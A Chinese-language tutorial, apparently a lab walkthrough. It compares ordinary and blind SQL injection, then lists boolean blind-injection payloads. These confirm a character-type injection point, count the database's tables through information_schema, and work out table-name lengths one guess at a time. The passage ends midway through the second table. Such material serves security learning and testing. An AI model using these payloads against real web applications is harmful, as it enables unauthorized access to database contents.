普通SQL注入 | SQL盲注 |
---|---|
执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 | 一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注) |
一般在页面上直接就会显示执行sql语句的结果 | 一般在页面上不会直接显示sql执行的结果 |
有可能出现不确定sql是否执行的情况 |
1. 判断是否存在注入和注入类型
1' or 1=1
不存在
1' or '1'='1
存在
判断为字符型
2. 判断数据库中表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 存在
有两张表
3. 判断表名长度
第一张表:
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1# 不存在
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2# 不存在
…………
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9# 存在
第一张表名长度为9
第二张表
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=1# 不存在
…………
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=5# 存在